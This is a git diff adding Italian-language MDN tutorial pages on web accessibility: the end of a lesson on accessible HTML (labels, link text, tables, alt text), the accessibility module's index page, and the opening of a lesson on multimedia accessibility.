+<p>L'uso di <code>tabindex </code>rende i bottoni creati erroneamente usando &lt;div&gt; selezionabili tramite tasto TAB, ma non ci permette di cliccarli usando INVIO. Per renderli cliccabili, dobbiamo ricorrere a Javascript:  </p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">document<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">13</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">// Il tasto ENTER</span>
+    document<span class="punctuation token">.</span>activeElement<span class="punctuation token">.</span><span class="function token">onclick</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p>Spiegazione del codice: abbiamo aggiunto un listener al documento, di modo che il codice rileva ogni occasione in cui un tasto della tastiera viene premuto. Tramite la proprietà <code>KeyCode</code> il codice individua quale tasto è stato premuto. Se il tasto premuto è INVIO, la funzione associata tramite <code>onclick</code> al bottone attualmente selezionato viene eseguita. La linea <code>document.activeElement.onclick()</code> serve proprio a rilevare l'elemento che attualmente sta ricevendo focus nella pagina, in questo caso il bottone che abbiamo selezionato tramite tasto TAB. </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Tieni presente che questa tecnica funzionerà solo se usi <code>onclick</code>. Usare <code>addEventListener</code> non funzionerà.</p>
+</div>
+
+<p>Come vedi, implementare l'uso della tastiera in un secondo momento non è un lavoro semplice né veloce, e inoltre può causare malfunzionamenti del sito. <strong>È molto meglio utilizzare l'elemento più appropriato per ogni funzionalità del sito sin dal principio.</strong></p>
+
+<h4 id="Usare_testi_con_significato">Usare testi con significato</h4>
+
+<p>Una interfaccia utente che presenta une nomenclatura chiara ed esplicativa è utile a tutti, ma avere testi ed etichette curati nei dettagli è particolarmente importante per gli utenti che hanno una disabilità.</p>
+
+<p>Assicurati che i tuoi bottoni e i tuoi link presentino testi facilmente comprensibili e che distinguano bene un elemento dall'altro. Non usare frasi come "Clicca qui", perchè gli utenti che usano lettori di schermo possono avere difficoltà a distinguere la funzione o destinazione del bottone o link, soprattutto se ce ne sono molti nella pagina. La seguente immagine mostra alcuni campi di un formulario così come sono letti da VoiceOver.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14335/voiceover-formcontrols.png" style="display: block; height: 604px; margin: 0px auto; width: 802px;"></p>
+
+<p>Assicurati che i nomi che assegni agli elementi abbiano senso anche se letti fuori dal loro contesto, allo stesso modo in cui hanno senso nel contesto del paragrafo in cui sono contenuti. Il seguente esempio mostra un esempio di costruzione corretta del testo di un link:</p>
+
+<pre class="brush: html example-good">&lt;p&gt;Le balene sono creature davvero straordinarie. &lt;a href="balene.html"&gt;Scopri di più sulle balene&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<p>Mentre questo è un esempio di cattivo uso:</p>
+
+<pre class="brush: html example-bad">&lt;p&gt;Le balene sono creature davvero straordinarie. Per saperne di più sulle balene, &lt;a href="balene.html"&gt;clicca qui&lt;/a&gt;.&lt;/p&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi saperne di più sulle migliori pratiche di implementazione di link nel nostro articolo (in inglese) <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creazione di link</a>. Puoi inoltre vedere esempi di buona costruzione di link nella pagina <a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">buoni-link.html</a> ed esempi di link mal costruiti nella pagina <a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">cattivi-link.html</a>.</p>
+</div>
+
+<p>Un altro elemento importante sono le etichette <code>&lt;label&gt;</code> dei formulari, che forniscono una indicazione su cosa l'utente deve inserire nel campo del formulario. Il seguente esempio può sembrare una maniera corretta di implementare un campo di formulario:</p>
+
+<pre class="brush: html example-bad">Scrivi il tuo nome: &lt;input type="text" id="nome" name="nome"&gt;</pre>
+
+<p>Tuttavia, questo campo non sarebbe utile a utenti con disabilità visiva. Non c'è nessuna indicazione non visuale che associ chiaramente il campo di input con il testo "Scrivi il tuo nome:". Se navighi questo elemento con un lettore di schermo, potresti ricevere una descrizione generica tipo "scrivi testo qui".</p>
+
+<p>Il seguente è un esempio molto migliore:</p>
+
+<pre class="brush: html example-good">&lt;div&gt;
+  &lt;label for="nome"&gt;Scrivi il tuo nome:&lt;/label&gt;
+  &lt;input type="text" id="nome" name="nome"&gt;
+&lt;/div&gt;</pre>
+
+<p>Con questo codice, il testo sarà chiaramente associato al campo di input; il lettore di schermo pronuncerà una frase come: "Scrivi il tuo nome: scrivi testo qui". </p>
+
+<p>Inoltre, nella maggior parte dei browser associare un testo a un campo di input tramite etichetta <code>&lt;label&gt;</code> permette di selezionare/attivare il campo input cliccando anche sul testo oltre che sul campo stesso. Ciò rende molto più facile selezionare il campo in cui scrivere.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi vedere esempi di formulari ben costruiti nella pagina <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">esempi-di-buoni-form.html</a> ed esempi di formulari poco accessibili nella pagina <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">esempi-di-cattivi-form.html</a>.</p>
+</div>
+
+<h2 id="Tabelle_dati_accessibili">Tabelle dati accessibili</h2>
+
+<p>Una tabella dati basica si può scrivere in modo molto semplice, come per esempio:</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Nome&lt;/td&gt;
+    &lt;td&gt;Età&lt;/td&gt;
+    &lt;td&gt;Genere&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Gabriel&lt;/td&gt;
+    &lt;td&gt;13&lt;/td&gt;
+    &lt;td&gt;Maschio&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Elva&lt;/td&gt;
+    &lt;td&gt;8&lt;/td&gt;
+    &lt;td&gt;Femmina&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Freida&lt;/td&gt;
+    &lt;td&gt;5&lt;/td&gt;
+    &lt;td&gt;Femmina&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<p>Ma questo codice può causare problemi: non dà agli utenti che usano lettori di schermo la possibilità di associare file e colonne in gruppi di dati relazionati tra loro. Per rendere ciò possibile devi sapere quali elementi della tabella sono header di file o colonne. Nel caso della tabella qui sopra ciò è possibile solo visualizzandola (vedi <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">tabella-incorretta.html</a>).</p>
+
+<p>Ora invece considera l'esempio <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">tabella gruppi punk</a>. Puoi notare alcune aggiunte nel codice che migliorano l'accessibilità:</p>
+
+<ul>
+ <li>Gli header della tabella sono stati definiti usando elementi {{htmlelement("th")}}. Inoltre è stato specificato se sono header di file o colonne, tramite l'uso dell'attributo <code>scope</code>. Questo procedimento permette al lettore di schermo di rilevare gruppi di dati separati e leggerli come contenuto specifico di una fila o colonna.</li>
+ <li>L'elemento {{htmlelement("caption")}} e l'attributo <code>summary </code>di <code>&lt;table&gt;</code> hanno funzioni simili. Entrambi si possono definire come un testo alternativo per tabelle, come l’attributo <code>alt text</code> per le immagini, utile per fornire all'utente che usa lettore di schermo un sommario del contenuto della tabella. In genere è preferibile usare <code>&lt;caption&gt;</code>, perchè è utilizzabile anche da utenti che non navigano con lettore di schermo. Ad ogni modo non è necessario usare entrambi. </li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: vedi l'articolo in inglese <a href="/en-US/docs/Learn/HTML/Tables/Advanced">Caratteristiche avanzate delle tabelle HTML e accessibilità</a> per maggiori dettagli sull'accessibilità delle tabelle dati.</p>
+</div>
+
+<h2 id="Alternative_testuali">Alternative testuali</h2>
+
+<p>Mentre il contenuto testuale è per sua natura accessibile, non si può dire lo stesso per il contenuto multimediale: immagini e video non possono essere visualizzati da persone con disabilità visiva grave, e il contenuto audio è difficile o impossibile da ascoltare per persone con disabilità auditiva. Ci occuperemo dell’accessibilità del contenuto audio e video in un altro articolo, in questa sezione tratteremo il tema dell'accessibilità per gli elementi {{htmlelement("img")}}.</p>
+
+<p>Proponiamo qui un semplice esempio, <a href="http://mdn.github.io/learning-area/accessibility/html/accessible-image.html">immagine-accessibile.html</a>, nel quale possiamo vedere 4 copie della stessa immagine.</p>
+
+<p>Riportiamo qui sotto il relativo codice HTML tradotto all'italiano (nella pagina del link sarà in inglese):</p>
+
+<pre>&lt;img src="dinosauro.png"&gt;
+
+&lt;img src="dinosauro.png"
+     alt="Un Tirannosauro Rex: un dinosauro bipede che sta in piedi come un umano, con braccia piccole e una grande testa con denti aguzzi."&gt;
+
+&lt;img src="dinosauro.png"
+     alt="Un Tirannosauro Rex: un dinosauro bipede che sta in piedi come un umano, con braccia piccole e una grande testa con denti aguzzi."
+     title="Il dinosauro rosso di Mozilla"&gt;
+
+
+&lt;img src="dinosauro.png" aria-labelledby="dino-label"&gt;
+
+&lt;p id="dino-label"&gt;Il Tirannosauro Rex rosso di Mozilla: un dinosauro bipede che sta in piedi come un umano, con braccia piccole e una grande testa con denti aguzzi.&lt;/p&gt;
+</pre>
+
+<p>La prima immagine, se si usa un lettore di schermo, non è molto accessibile. Per esempio VoiceOver leggerebbe il nome del file come "dinosauro.png, immagine". L'utente saprebbe almeno che nell'immagine è rappresentato un dinosauro di qualche tipo. Ma spesso le immagini che si trovano su internet non hanno neanche un titolo minimamente descrittivo come “dinosauro.png”, e usano invece come titoli codici alfanumerici o nomi generati automaticamente (per esempio da una macchina fotografica), che non forniscono alcun tipo di contesto riguardo al contenuto dell'immagine.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: non dovresti mai includere contenuto testuale in una immagine. I lettori di schermo non lo possono leggere. Ci sono inoltre altri svantaggi, per esempio non è possibile selezionarlo e copiarlo. Non farlo! </p>
+</div>
+
+<p>Nel caso della seconda immagine, un lettore di schermo leggerà tutto l'attributo <code>alt</code>: "Un Tirannosauro Rex: un dinosauro bipede che sta in piedi come un umano, con braccia piccole e una grande testa con denti aguzzi.".</p>
+
+<p>Dunque è importante fornire alle immagini nomi descrittivi, e anche assicurarsi di fornire testo alternativo ogni volta che è possibile. Fai attenzione a fornire nell'attributo <code>alt</code> un testo che sia una rappresentazione il più possible diretta del contenuto dell'immagine. Evita di includere informazioni extra che non riguardano direttamente l'immagine.</p>
+
+<p>Un altro aspetto da considerare è se un'immagine ha un significato importante nel contesto del contenuto in cui si trova, o se si tratta solo di un'immagine decorativa. Se un’immagine è solo decorativa, è meglio includerla nella pagina con la proprietà background-image di CSS piuttosto che con l’etichetta <a href="https://developer.mozilla.org/it/docs/Web/HTML/Element/img" title="L'elemento HTML &lt;img> incorpora un'immagine nel documento.">&lt;img&gt;</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Leggi <a href="/it/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Immagini in HTML</a> e I<a href="/it/docs/Learn/HTML/Multimedia_and_embedding/immagini_reattive">mmagini reattive</a> per saperne di più sulle pratiche ottimali per l'implementazione delle immagini.</p>
+</div>
+
+<p>Se desideri fornire informazioni contestuali extra, dovresti includerle nel testo vicino all'immagine, o usare un attributo <code>title</code>, come mostrato nel codice della terza immagine. La maggior parte dei lettori di schermo leggerà il testo alternativo, il testo dell'attributo <code>title</code>, e il nome del file. Inoltre, i browser mostrano il testo contenuto in <code>title</code> quando un utente passa sopra l'immagine con il puntatore del mouse.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14333/title-attribute.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Diamo ora un'occhiata al codice della quarta immagine:</p>
+
+<pre class="brush: html">&lt;img src="dinosauro.png" aria-labelledby="dino-label"&gt; &lt;p id="dino-label"&gt;Il Tirannosauro...&lt;/p&gt;</pre>
+
+<p>In questo caso non stiamo usando l'attributo <code>alt</code>. Invece, abbiamo presentato la descrizione dell'immagine come un normale paragrafo, le abbiamo assegnato un <code>id</code>, e poi abbiamo usato l'attributo <code>aria-labelledby</code>  associandolo all'<code>id</code>. In questo modo i lettori di schermo useranno il paragrafo come testo alternativo per l'immagine. Questo metodo è utile nel caso in cui si voglia usare lo stesso testo alternativo per multiple immagini, procedimento che è sconsigliabile implementare usando l’attributo <code>alt</code></p>
+
+<div class="note">
+<p><strong>Nota</strong>: <code>aria-labelledby</code> è parte della specificazione <a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a>, che permette agli sviluppatori di aggiungere valore semantico extra al loro codice e migliorare l'accessiblità per i lettori di schermo. Per saperne di più su come funziona, leggi l'articolo <a href="/it/docs/Learn/Accessibilità/WAI-ARIA_basics">basi di WAI-ARIA</a>.</p>
+</div>
+
+<h3 id="Altri_metodi_di_testo_alternativo">Altri metodi di testo alternativo</h3>
+
+<p>Ci sono anche altri metodi per associare alle immagini un testo che le descriva. Per esempio, c'è un attributo chiamato <code>longdesc</code> che permette di richiamare descrizioni dettagliate delle immagini presenti in una pagina da un documento HTML esterno. Per esempio:</p>
+
+<pre class="brush: html">&lt;img src="dinosauro.png" longdesc="dino-info.html"&gt;</pre>
+
+<p>Questa può sembrare una soluzione ottimale, soprattutto per immagini con grandi contenuti informativi come grafici che rappresentano statistiche o risultati. Ma purtroppo l'attributo <code>longdesc</code> non è supportato con consistenza dai lettori di schermo, e inoltre il suo contenuto è totalmente inaccessibile agli utenti che non usano lettori di schermo. Si raccomanda dunque di includere la descrizione testuale nella stessa pagina in cui si trova l'immagine, o rimandare alla descrizione con un link standard.</p>
+
+<p>In HTML5 sono inclusi inoltre altri due elementi, {{htmlelement("figure")}} e {{htmlelement("figcaption")}}, che servono ad associare un elemento figurativo (non necessariamente un'immagine) ad una didascalia: </p>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;img src="dinosauro.png" alt="Il Tirannosauro di Mozilla"&gt;
+  &lt;figcaption&gt;Un Tirannosauro Rex: un dinosauro bipede che sta in piedi come un umano, con braccia piccole e una grande testa con denti aguzzi.&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<p>Purtroppo anche in questo caso la maggior parte dei lettori di schermo non è ancora in grado di interpretare correttamente gli elementi {{htmlelement("figure")}} e {{htmlelement("figcaption")}}, ma l'uso di questi elementi può essere comunque utile per effettuare modifiche allo stile tramite CSS; inoltre questi elementi danno la possibilità di collocare la descrizione di una immagine nello stesso punto in cui l'immagine è inserita nel codice.</p>
+
+<h3 id="Attributi_alt_vuoti">Attributi alt vuoti</h3>
+
+<pre class="brush: html">&lt;h3&gt;
+  &lt;img src="icona-articolo.png" alt=""&gt;
+  Tirannosauro Rex: il re dei dinosauti
+&lt;/h3&gt;</pre>
+
+<p>In alcuni casi un'immagine viene inclusa in una pagina con uno scopo puramente decorativo. Come puoi notare nel codice qui sopra, l'attributo alt dell'immagine è lasciato vuoto. Questo procedimento permette ai lettori di schermo di riconoscere la presenza di un'immagine, evitando però di fornirne una descrizione (pronuncerebbero solo una frase come "immagine").</p>
+
+<p>La ragione per cui è buona pratica usare un attributo <code>alt</code> vuoto invece di non includerlo del tutto è perchè molti lettori di schermo, nel caso in cui non incontrino nessun attributo <code>alt</code> associato a un'immagine, leggono al suo posto l'URL dell'immagine. Nell'esempio qui sopra, l'immagine ha una funzione decorativa dell'heading a cui è associata. In casi come questo, e in tutti i casi in cui un'immagine ha una funzione puramente decorativa e nessun valore di contenuto, dovresti associarle un attributo <code>alt</code> vuoto (<code>alt=""</code>). Un'alternativa è usare l'attributo ARIA <code>role</code> (con forma: <code>role="presentation"</code>), che indica ai lettori di schermo di non leggere il testo alternativo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: se possibile è meglio usare CSS per mostrare immagini con funzione puramente decorativa.</p>
+</div>
+
+<h2 id="Riassunto">Riassunto</h2>
+
+<p>Dopo aver letto questo articolo dovresti avere un’idea piuttosto chiara di come scrivere HTML accessibile nella maggior parte delle situazioni. Il nostro articolo su WAI-ARIA ti darà informazioni più approfondite, ma con quanto hai già letto e imparato sei in possesso di una buona base. Nei prossimi articoli esploreremo CSS e JavaScript, e come l'accessibilità è influenzata dal loro corretto o incorretto utilizzo.</p>
+
+<p>{{PreviousMenuNext("Learn/Accessibilità/Cosa_è_accessibilità","Learn/Accessibilità/CSS_e_JavaScript_accessibilità", "Learn/Accessibilità")}}</p>
diff --git a/files/it/learn/accessibilità/index.html b/files/it/learn/accessibilità/index.html
new file mode 100644
index 0000000000..57dee47809
--- /dev/null
+++ b/files/it/learn/accessibilità/index.html
@@ -0,0 +1,67 @@
+---
+title: Accessibilità
+slug: Learn/Accessibilità
+tags:
+  - ARIA
+  - Accessibilità
+  - Articoli
+  - CSS
+  - Guida accessibilità
+  - HTML
+  - Imparare accessibilità
+  - JavaScript
+  - Lezioni accessibilità
+  - Manuale accessibiltà
+  - Moduli
+  - Principiante
+  - Sviluppo Web
+  - imparare
+translation_of: Learn/Accessibility
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Imparare HTML, CSS e Javascript è fondamentale se vuoi diventare uno sviluppatore web, ma la tua preparazione deve andare al di là del semplice utilizzo delle tecnologie di programmazione web: devi imparare ad utilizzarle in modo responsabile, in maniera tale da massimizzare il numero di utenti che possano usufruire pienamente dei tuoi siti, senza lasciare nessuno chiuso fuori. Per ottenere questi risultati devi seguire con attenzione alcune linee guida (che sono indicate nelle sezioni <a href="/it/docs/Learn/HTML">HTML</a>, <a href="/it/docs/Learn/CSS">CSS</a>, e <a href="/it/docs/Learn/JavaScript">JavaScript</a>), praticare <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">test su differenti browser</a> e prendere in considerazione l'accessibilità sin dal principio dei tuoi progetti di sviluppo web. In questo modulo ci occuperemo in dettaglio di quest'ultimo aspetto.</p>
+
+<h2 id="Prerequisiti">Prerequisiti</h2>
+
+<p>Per ottenere il massimo da questo modulo, è consigliabile aver seguito almeno i primi due moduli delle sezioni <a href="/it/docs/Learn/HTML">HTML</a>, <a href="/it/docs/Learn/CSS">CSS</a>, e <a href="/it/docs/Learn/JavaScript">JavaScript</a>, oppure, ancor meglio, seguire le varie parti del modulo sull'accessibilità mentre studi (o rivedi) le relative sezioni di <a href="/it/docs/Learn/HTML">HTML</a>, <a href="/it/docs/Learn/CSS">CSS</a>, e <a href="/it/docs/Learn/JavaScript">JavaScript</a>.  </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Se stai usando un computer, tablet o altro dispositivo sul quale non hai la possibilità di creare files, puoi testare la maggior parte degli esempi di codice che troverai in questo modulo usando un programma online come <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/it/docs/Learn/Accessibilità/Cosa_è_accessibilità">Cos'è l'accessibilità?</a></dt>
+ <dd>Questo articolo inaugura il modulo con una visione generale di cosa è realmente l'accessibilità. Sono inclusi argomenti come: quali gruppi di persone dobbiamo tenere in considerazione e perché, quali strumenti di supporto le persone usano per interagire con la rete, e come possiamo rendere l'accessibilità parte integrante del nostro processo di sviluppo web.</dd>
+ <dt><a href="/it/docs/Learn/Accessibilità/HTML_accessibilità">HTML: una buona base per l'accessibilità</a></dt>
+ <dd>Buona parte del contenuto di un sito può essere reso accessibile semplicemente facendo attenzione ad usare sempre nella maniera corretta gli elementi HTML più opportuni per le funzionalità che si vogliono implementare. Questo articolo analizza in dettaglio come il linguaggio HTML può essere usato al meglio per garantire la massima accessibilità.</dd>
+ <dt><a href="/it/docs/Learn/Accessibilità/CSS_e_JavaScript_accessibilità">Linee guida di accessibiltà per CSS e JavaScript</a></dt>
+ <dd>CSS e JavaScript, quando utilizzati propriamente, possono contribuire ad offrire una esperienza accessibile della rete. Se invece vengono utilizzati in maniera incorretta possono causare una drastica riduzione dell'accessibilità. Questo articolo riporta alcune linee guida per l'utilizzo di CSS e JavaScript che devono essere tenute in considerazione per permettere a contenuti anche molto complessi di avere il più alto grado di accessibilità possibile.</dd>
+ <dt><a href="/it/docs/Learn/Accessibilità/WAI-ARIA_basics">Basi della tecnologia WAI-ARIA</a></dt>
+ <dd>Proseguendo i temi trattati nell'articolo precedente, può risultare complicato creare elementi di interfaccia utente accessibili quando gli stessi si basano su HTML non semantico e presentano contenuto aggiornato dinamicamente tramite JavaScript. La tecnologia WAI-ARIA può essere d'aiuto aggiungendo valore semantico addizionale, che i browser e le tecnologie assistive possono riconoscere e utilizzare per permettere agli utenti di decifrare più chiaramente il contesto e ciò che sta accadendo durante la navigazione del sito. In questo articolo vedremo come usare questa tecnologia a un livello basico per migliorare l'accessibilità.</dd>
+ <dt><a href="/it/docs/Learn/Accessibilità/Multimedia">Accessibilità multimediale</a></dt>
+ <dd>
+ <div>
+ <p>Un'altra categoria di contenuti che possono dare problemi di accessibilità sono gli elementi multimediali: audio, video e immagini devono sempre essere associati ad adeguate alternative testuali, di modo che possano essere interpretati correttamente dalle tecnologie assistive e dagli utenti che ne fanno uso. Questo articolo spiega come gestire l'accessibilità di questo tipo di contenuti.</p>
+ </div>
+ </dd>
+ <dt><a href="/it/docs/Learn/Accessibilità/Accessibilità_dispositivi_mobili">Accessibilità per dispositivi mobili</a></dt>
+ <dd>L'uso di internet su dispositivi mobili è sempre più diffuso, e le principali piattaforme come iOS e Android sono dotate di numerosi strumenti per garantire l'accessibilità. È dunque importante prendere in considerazione l'accessibilità del tuo contenuto web su tali piattaforme. Questo articolo propone considerazioni sull'accessibilità specificamente pensate per dispositivi mobili.</dd>
+</dl>
+
+<h2 id="Test_di_valutazione">Test di valutazione</h2>
+
+<dl>
+ <dt><a href="/it/docs/Learn/Accessibilità/Accessibilità_test_risoluzione_problemi">Risoluzione di problemi di accessibilità</a> </dt>
+ <dd>Nella sezione di valutazione di questo modulo ti proponiamo un semplice sito web che presenta alcuni problemi di accessibilità che devi individuare e risolvere.</dd>
+</dl>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://egghead.io/courses/start-building-accessible-web-applications-today">Start Building Accessible Web Applications Today</a> — un'eccellente serie di video tutorials di Marcy Sutton (in inglese).</li>
+ <li><a href="https://dequeuniversity.com/resources/">Risorse della Deque University</a> — sono inclusi esempi di codice, punti di riferimento sui lettori di schermo e altre risorse utili (in inglese).  </li>
+ <li><a href="http://webaim.org/resources/">Risorse WebAIM</a> — sono incluse guide, checklist, strumenti e molto altro (in inglese).</li>
+</ul>
diff --git a/files/it/learn/accessibilità/multimedia/index.html b/files/it/learn/accessibilità/multimedia/index.html
new file mode 100644
index 0000000000..f920e59050
--- /dev/null
+++ b/files/it/learn/accessibilità/multimedia/index.html
@@ -0,0 +1,392 @@
+---
+title: Accessibilità multimediale
+slug: Learn/Accessibilità/Multimedia
+tags:
+  - Accessibilità
+  - Articolo
+  - Audio
+  - Didascalie
+  - HTML
+  - Immagine
+  - JavaScript
+  - Multimedia
+  - Principiante
+  - Sottotitoli
+  - Tracce testuali
+  - Video
+translation_of: Learn/Accessibility/Multimedia
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibilità/WAI-ARIA_basics","Learn/Accessibilità/Mobile", "Learn/Accessibilità")}}</div>
+
+<p class="summary">Un’altra categoria di contenuti che possono dare problemi di accessibilità sono gli elementi multimediali: audio, video e immagini devono sempre essere associati ad adeguate alternative testuali, di modo che possano essere interpretati correttamente dalle tecnologie assistive e dagli utenti che ne fanno uso. Questo articolo spiega come gestire l’accessibilità di questo tipo di contenuti.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscimenti basici sull'uso del computer, livello basico di HTML, CSS e JavaScript, e una idea chiara di <a href="/it/docs/Learn/Accessibilità/Cosa_è_accessibilità">cosa è l'accessibilità</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Obiettivo</strong>:</th>
+   <td>Comprendere i problemi di accessibilità relativi agli elementi multimediali, e come risolverli.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Multimedia_e_accessibilità"><strong>Multimedia e accessibilità</strong></h2>
+
+<p>Fino ad ora in questo modulo sull’accessibilità abbiamo preso in considerazione le procedure necessarie per rendere accessibili una varietà di contenuti: da semplice contenuto testuale a tabelle di dati, immagini, controlli nativi come campi di formulari e bottoni, e anche strutture e intefacce più complesse (con le quali si usano gli attributi <u><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilità/WAI-ARIA_basics">WAI-ARIA</a></u>).</p>
+
+<p>Questo articolo si occupa di un’altra classe di contenuti per i quali solitamente non è facile garantire una buona accessibilità: i contenuti multimediali. Immagini, video, elementi <a href="https://developer.mozilla.org/it/docs/Web/HTML/Element/canvas" title="Use the HTML &lt;canvas> element with either the canvas scripting API or the WebGL API to draw graphics and animations.">&lt;canvas&gt;</a>, filmati Flash ecc. non sono facili da interpretare per i lettori di schermo, né da navigare tramite tastiera.</p>
+
+<p>Ma non ti preoccupare, in questo articolo ti mostreremo le tecniche disponibili per rendere il contenuto multimediale accessibile.</p>
+
+<h2 id="Immagini"><strong>Immagini </strong></h2>
+
+<p>Abbiamo già discusso delle alternative testuali per le immagini in HTML nell’articolo <u><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilità/HTML_accessibilità">HTML: una buona base per l’accessibilità</a></u>: fai riferimento all’articolo per maggiori dettagli. Riassumendo in poche parole l’articolo, per garantire l’accessibilità delle immagini devi assicurarti che al contenuto visuale sia associato un testo alternativo che descriva dettagliatamente l’immagine, e che tale contenuto possa essere letto dai lettori di schermo.</p>
+
+<p>Per esempio:</p>
+
+<pre class="brush: html">&lt;img src="dinosaur.png"
+     alt="Un Tirannosauro Rex: un dinosauro bipede che sta in piedi come un umano, con braccia piccole e una grande testa con denti aguzzi."&gt;
+</pre>
+
+<h2 id="Controlli_audio_e_video_accessibili"><strong>Controlli audio e video accessibili</strong></h2>
+
+<p>Implementare controlli di riproduzione per elementi audio e video non dovrebbe essere un problema no? Diamo un’occhiata.</p>
+
+<h3 id="Il_problema_con_i_controlli_nativi_in_HTML5">Il problema con i controlli nativi in HTML5</h3>
+
+<p>Gli elementi <code>audio</code> e <code>video</code> di HTML5 hanno un set di controlli nativi che permettono di gestire la riproduzione dei contenuti multimediali. Per esempio (vedi native-controls.html, <u><a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/native-controls.html">codice sorgente</a></u> e <u><a href="http://mdn.github.io/learning-area/accessibility/multimedia/native-controls.html">versione live</a></u>):</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+  &lt;source src="viper.mp3" type="audio/mp3"&gt;
+  &lt;source src="viper.ogg" type="audio/ogg"&gt;
+  &lt;p&gt;Il tuo browser non supporta l’audio in HTML5. Puoi scaricare il file per ascoltarlo. Qui trovi il &lt;a href="viper.mp3"&gt;link al file audio.&lt;/p&gt;
+&lt;/audio&gt;
+
+&lt;br&gt;
+
+&lt;video controls&gt;
+  &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+  &lt;source src="rabbit320.webm" type="video/webm"&gt;
+  &lt;p&gt;Il tuo browser non supporta i video in HTML5. Puoi scaricare il file per visualizzarlo. Qui trovi il &lt;a href="rabbit320.mp4"&gt; link al file video.&lt;/p&gt;
+&lt;/video&gt;</pre>
+
+<p>L’attributo <code>controls</code> fornisce il bottone play/pausa, uno slider di posizionamento e altri controlli basici di un lettore multimediale generico. In Firefox e Chrome i controlli HTML5 hanno questo aspetto:</p>
+
+<p><img alt="Screenshot of Video Controls in Firefox" src="https://mdn.mozillademos.org/files/14440/native-controls-firefox.png" style="display: block; height: 361px; margin: 0px auto; width: 400px;"></p>
+
+<p><img alt="Screenshot of Video Controls in Chrome" src="https://mdn.mozillademos.org/files/14438/native-controls-chrome.png" style="display: block; height: 344px; margin: 0px auto; width: 400px;"></p>
+
+<p>Tuttavia, ci sono alcuni problemi associati a questi controlli:</p>
+
+<ul>
+ <li>Non sono accessibili da tastiera in nessun browser eccetto Opera</li>
+ <li>Ogni browser applica ai controllli uno stile e funzionalità differenti, che non sono facilmente modificabili per adattarsi allo stile particolare di un sito o applicazione.</li>
+</ul>
+
+<p>Per porre rimedio a queste limitazioni, possiamo creare i nostri propri controlli personalizzati. Vediamo come fare.</p>
+
+<h3 id="Creare_controlli_audio_e_video_personalizzati">Creare controlli audio e video personalizzati</h3>
+
+<p>Gli elementi audio e video di HTML5 hanno in comune una API, chiamata HTML Media Element, che permette di applicare funzionalità personalizzate ai bottoni e ad altri controlli definiti dallo sviluppatore.</p>
+
+<p>Aggiungiamo ora controlli personalizzati al video di esempio qui sopra.</p>
+
+<h4 id="Setup_basico"><strong>Setup basico</strong></h4>
+
+<p> </p>
+
+<p>Per prima cosa, salva una copia dei file <u><a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls-start.html">controlli-custom-start.html</a></u>, <u><a href="https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls.css">controlli-custom-controls.css</a></u>, <u><a href="https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.mp4">rabbit320.mp4</a></u> e <u><a href="https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.webm">rabbit320.webm</a></u> in una cartella del tuo hard-disk.</p>
+
